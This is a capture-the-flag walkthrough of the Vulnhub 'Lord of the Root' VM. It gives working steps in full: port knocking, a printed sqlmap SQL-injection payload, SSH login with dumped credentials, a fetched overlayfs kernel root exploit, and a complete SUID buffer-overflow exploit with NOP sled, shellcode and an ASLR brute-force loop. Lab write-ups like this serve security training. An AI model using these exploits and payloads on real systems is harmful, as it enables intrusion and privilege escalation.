Lord of the Root: Walkthrough

Below is my walkthrough for a VM posted on Vulnhub by KookSec called Lord Of The Root back in 2015.




This VM was a lot of fun. The exploits used were perfectly aligned with how the OSCP course was but still had a fun theme. It also allowed for some basic buffer overflow exploitation which I thoroughly enjoyed. Without further ado, here's my walkthrough on Lord of the Root:

I start with netdiscover:

 Currently scanning: Finished!   |   Screen View: Unique Hosts                                       
                                                                                                     
 2 Captured ARP Req/Rep packets, from  2 hosts.   Total size: 162                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.100  08:00:27:7b:fe:23      1      60  PCS Systemtechnik GmbH                                                      
 192.168.56.105  08:00:27:e9:97:ca      1      42  PCS Systemtechnik GmbH                            

Finding my host, I run a basic nmap against it:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap 192.168.56.105

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:41 CST
Nmap scan report for 192.168.56.105
Host is up (0.00021s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.42 seconds
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

Looks like port 22 is open. I also try running it against all ports but only port 22 is open. I then do what anyone would do, I try to access it:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# ssh root@192.168.56.105
The authenticity of host '192.168.56.105 (192.168.56.105)' can't be established.
ECDSA key fingerprint is SHA256:XzDLUMxo8ifHi4SciYJYj702X3PfFwaXyKOS07b6xd8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.105' (ECDSA) to the list of known hosts.

                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
root@192.168.56.105's password: 

When accessing SSH, I see a banner with: "LOTR, Knock Friend To Enter". At the bottom of the banner it says "Easy as 1,2,3".

I presume they want me to port knock on ports 1, 2, and 3.

I use nmap to accomplish this. I could have used python or scripted it if I needed to hit different ports besides 1,2 and 3 consecutively. However, since the ports needed were in order, I figured nmap would be enough.

nmap -r -Pn -p1,2,3 192.168.56.105

-r: Scan ports consecutively - don't randomize
-Pn: Treat all hosts as online -- skip host discovery
-p1,2,3: Scan against ports 1,2 and 3

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -r -Pn -p1,2,3 192.168.56.105

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:46 CST
Nmap scan report for 192.168.56.105
Host is up (0.00014s latency).
PORT  STATE    SERVICE
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -p- 192.168.56.105

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:46 CST
Nmap scan report for 192.168.56.105
Host is up (0.00014s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste
MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 104.05 seconds
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

After running nmap to port knock, I ran nmap against all ports. We are now presented with port 1337 open. I run nmap again to get a service version of this port:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -p1337 -sV 192.168.56.105

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:58 CST
Nmap scan report for 192.168.56.105
Host is up (0.00015s latency).
PORT     STATE SERVICE VERSION
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

We see that Apache is running on this port. We can use curl to quickly identify what contents are on this:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# curl http://192.168.56.105:1337
<html>
<img src="/images/iwilldoit.jpg" align="middle">
</html>
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

Looks like only a jpg:


With minimal information on the homepage, I run dirb to see if there are any other directories available:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# dirb http://192.168.56.105:1337

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Feb 25 12:03:04 2017
URL_BASE: http://192.168.56.105:1337/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4613                                                          

---- Scanning URL: http://192.168.56.105:1337/ ----
==> DIRECTORY: http://192.168.56.105:1337/images/                                                                                                                                                           
+ http://192.168.56.105:1337/index.html (CODE:200|SIZE:64)                                                                                                                                                  
+ http://192.168.56.105:1337/server-status (CODE:403|SIZE:296)                                                                                                                                              
                                                                                                                                                                                                            
---- Entering directory: http://192.168.56.105:1337/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sat Feb 25 12:03:04 2017
DOWNLOADED: 4613 - FOUND: 2
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#

With the /images/ directory available, I check it out:


I check out each image individually and run exiftool in case there were any hidden comments within the image, but nothing.

However, during enumeration, I noticed that when accessing a non existent page, we would be presented with the following image:


However, looking at the source page, there was a hidden comment:

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

Decoding this string in base64 twice, we are revealed a new directory:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh" | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# echo "Lzk3ODM0NTIxMC9pbmRleC5waHA=" | base64 -d
/978345210/index.php
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#

We navigate to /978345210/index.php and are presented with a new page:


After more enumeration, I find that this is vulnerable to SQLinjection. I use sqlmap to confirm:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# sqlmap -u 'http://192.168.56.105:1337/978345210/index.php' --data='username=username&password=password&submit=' --level=5 --risk=3 

[...snippet...]

[12:18:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[12:19:44] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
[12:19:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[...snippet...]

[12:19:48] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 6021 HTTP(s) requests:
---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=username'||(SELECT 'LLbj' FROM DUAL WHERE 2006=2006 AND SLEEP(5))||'&password=password&submit=
---
[12:24:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[12:24:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] shutting down at 12:24:21

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

Now that we know it's vulnerable. We up the ante and see what Databases are available:


Further enumeration shows that there's a "Users" table within the "Webapp" database which contains usernames and passwords:


Additionally, there's a "mysql" database with a "user" table containing the following:



We keep the MYSQL passwords in our back pocket but move forward with our Webapp credentials.

With our 5 usernames and passwords, I started logging into the Web application. I did further enumeration and realized there was nothing left after logging in. However, we still had another place to try these credentials: SSH! 

We successfully SSH'd into the server using "smeagol" and "MyPreciousR00t":

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# ssh smeagol@192.168.56.105

                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
 ____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
smeagol@192.168.56.105's password: 
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)

 * Documentation:  https://help.ubuntu.com/

                            .____    _____________________________                              
                            |    |   \_____  \__    ___/\______   \                             
                            |    |    /   |   \|    |    |       _/                             
                            |    |___/    |    \    |    |    |   \                             
                            |_______ \_______  /____|    |____|_  /                             
                                    \/       \/                 \/                              
 __      __       .__                                ___________      .__                   .___
/  \    /  \ ____ |  |   ____  ____   _____   ____   \_   _____/______|__| ____   ____    __| _/
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \   |    __) \_  __ \  |/ __ \ /    \  / __ | 
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/   |     \   |  | \/  \  ___/|   |  \/ /_/ | 
  \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >  \___  /   |__|  |__|\___  >___|  /\____ | 
       \/       \/          \/            \/     \/       \/                  \/     \/      \/ 
Last login: Tue Sep 22 12:59:38 2015 from 192.168.55.135
smeagol@LordOfTheRoot:~$ whoami
smeagol
smeagol@LordOfTheRoot:~$ 

Now that I have access to the box, I see that there's a linux kernel vulnerability within Ubuntu 14.04/15.10 that allows Privilege Escalation via 'overlayfs'

https://www.exploit-db.com/exploits/39166/

I download the exploit to the box, compile and run:

smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
smeagol@LordOfTheRoot:~$ ls
Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  Templates  Videos
smeagol@LordOfTheRoot:~$ cd Desktop/
smeagol@LordOfTheRoot:~/Desktop$ ls
smeagol@LordOfTheRoot:~/Desktop$ wget http://192.168.56.1/39166.c
--2017-02-25 05:45:18--  http://192.168.56.1/39166.c
Connecting to 192.168.56.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2793 (2.7K) [text/x-csrc]
Saving to: 39166.c’

100%[============================================================>] 2,793       --.-K/s   in 0s      

2017-02-25 05:45:18 (344 MB/s) - 39166.c’ saved [2793/2793]

smeagol@LordOfTheRoot:~/Desktop$ gcc 39166.c -o 39166
smeagol@LordOfTheRoot:~/Desktop$ ls 
39166  39166.c
smeagol@LordOfTheRoot:~/Desktop$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@LordOfTheRoot:~/Desktop$ ./39166 
root@LordOfTheRoot:~/Desktop# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:~/Desktop#

Root! We then navigate to /root/ and cat the flag:

root@LordOfTheRoot:~/Desktop# cd /root/
root@LordOfTheRoot:/root# ls
buf  buf.c  Flag.txt  other  other.c  switcher.py
root@LordOfTheRoot:/root# cat Flag.txt 
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
 Gandalf
root@LordOfTheRoot:/root#

Bonus:

Upon further enumeration, I see that there is actually another method of exploitation on this machine. The below is how to gain root by exploiting a binary owned by root with SUID

Binary Exploitation

Navigating to the root directory, we see a directory called "SECRET". Inside this directory, there are 3 "doors" and each has a file called "file":

smeagol@LordOfTheRoot:/SECRET$ ls -lahR
.:
total 20K
drwxr-xr-x  5 root root 4.0K Sep 22  2015 .
drwxr-xr-x 23 root root 4.0K Sep 22  2015 ..
drwxr-xr-x  2 root root 4.0K Feb 25 06:39 door1
drwxr-xr-x  2 root root 4.0K Feb 25 06:39 door2
drwxr-xr-x  2 root root 4.0K Feb 25 06:39 door3

./door1:
total 16K
drwxr-xr-x 2 root root 4.0K Feb 25 06:39 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 7.2K Sep 17  2015 file

./door2:
total 16K
drwxr-xr-x 2 root root 4.0K Feb 25 06:39 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 7.2K Sep 17  2015 file

./door3:
total 16K
drwxr-xr-x 2 root root 4.0K Feb 25 06:39 .
drwxr-xr-x 5 root root 4.0K Sep 22  2015 ..
-rwsr-xr-x 1 root root 5.1K Sep 22  2015 file
smeagol@LordOfTheRoot:/SECRET$

We see that these files have SUID and owned by Root! If we can exploit this, it may be our ticket to escalation.

Examining each file, we see that they are all binary executables. However, 1 of the 3 has a different sha1 hash:

smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file 
door1/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
door2/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped
door3/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
smeagol@LordOfTheRoot:/SECRET$

Based off previous experience, it is probably best to work with the binary that is different than the other 2. Additionally, I notice after a set number of time, the binary file gets switched to a new door. To resolve this, I copy the file to smeagol's Desktop to have a more consistent test:

smeagol@LordOfTheRoot:/SECRET$ cp door2/file /home/smeagol/Desktop/
smeagol@LordOfTheRoot:/SECRET$ ls /home/smeagol/Desktop/
39166  39166.c  file
smeagol@LordOfTheRoot:/SECRET$

Running this file, we see that it asks for a user input string:

smeagol@LordOfTheRoot:~/Desktop$ ./file 
Syntax: ./file <input string>
smeagol@LordOfTheRoot:~/Desktop$ ./file A
smeagol@LordOfTheRoot:~/Desktop$ 

Seeing that this is an image on vulnhub, we can presume that this file is vulnerable to a buffer overflow. I use python to fuzz the file and confirm:

smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 100')
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 200')
Segmentation fault (core dumped)
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 150')
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 175')
Segmentation fault (core dumped)
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 160')
smeagol@LordOfTheRoot:~/Desktop$ 

We notice that there's a segmentation fault when the file receives about 175 characters.

To get a more exact count, we use a built in ruby script from metasploit to create a pattern string of 175 characters:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 175
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# 

We take this string and run it through GDB and run the string:

smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A
Starting program: /home/smeagol/Desktop/file Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()
(gdb)

Like expected, we receive a segfault at 0x41376641. We can take this number back to the metasploit script to see how many characters this is:

root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
[*] Exact match at offset 171
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#

Now that we know the binary file will segfault at the 171st character string, we can then update our fuzzer to confirm. We add 171 character A's, 4 character B's and the rest with C's through GDB:

smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info r
eax            0x0 0
ecx            0xbffff8a0 -1073743712
edx            0xbffff60e -1073744370
ebx            0xb7fc0000 -1208221696
esp            0xbffff5e0 0xbffff5e0
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            0x42424242 0x42424242
eflags         0x10202 [ IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb)

As shown above, we check the registers and see that EIP has now been overwritten with 0x42424242 which translates to BBBB in hex. We can now control EIP!

Further enumeration tells me that ASLR is enabled as well:

smeagol@LordOfTheRoot:~/Desktop$ cat /proc/sys/kernel/randomize_va_space 
2
smeagol@LordOfTheRoot:~/Desktop$

We see that ASLR is enabled which will randomize our address space. Additionally, there are no JMP ESP instructions in the program to work with. This prevents us from specifying a specific EIP address to point to our shellcode.

However, my thought is that if we can loop our exploit, we may be able to "guess" or better yet, get "lucky" with our EIP address, thus hitting our shellcode. To do this, I will need to add a large NOPsled into the exploit so that if EIP does get hit correctly, the NOPsled will allow the program to slide to my shellcode.

I run my payload again, this time using a large nopsled of 2000:

smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
0xbfffee40: '\220' <repeats 200 times>...
(gdb)

Great. So we can still control EIP and it appears that ESP is pointing to a different location, 0xbfffee40. We are going to use this as our location for EIP. Additionally, we will include our shellcode. A very common shellcode to spawn a shell is:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80

I test my payload within my current GDB session to confirm that my exploit is working correctly:

smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file
Reading symbols from ./file...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
0xbfffee40: '\220' <repeats 200 times>...
(gdb) run $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
process 4153 is executing new program: /bin/dash
$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
$ 

Excellent! A shell was spawned. However, I am running as smeagol and not the root user because this is just the file that I copied down. Also, it's important to note that my EIP address location "\x40\xee\xff\xbf" is written in reverse due to little endian format.

Now that I know my exploit is working, it is time to loop it on the real file. I use the following script to accomplish this:

for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done

With my exploit ready, I navigate back to the /SECRET/ directory and locate the appropriate file and execute the script:

smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file 
door1/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped
door2/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
door3/file: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped
smeagol@LordOfTheRoot:/SECRET$ for a in {1..1000}; do /SECRET/door1/file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
[...snippet...]
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)
# 

Excellent! We are now root. We navigate to /root/ and cat the flag:

Segmentation fault (core dumped)
# id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)
# cd /root 
# ls
Flag.txt  buf  buf.c  other  other.c  switcher.py
# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
 Gandalf
# 

In conclusion, this VM was a lot of fun. I've really been wanting to do more buffer overflows and this VM proved that to me. It was nice to see that even with ASLR enabled, there are still ways to circumvent this control.

I would like to thank KookSec for creating a very fun VM that is still being used today, and of course the Vulnhub team for hosting this VM.

Thanks for reading!

-geoda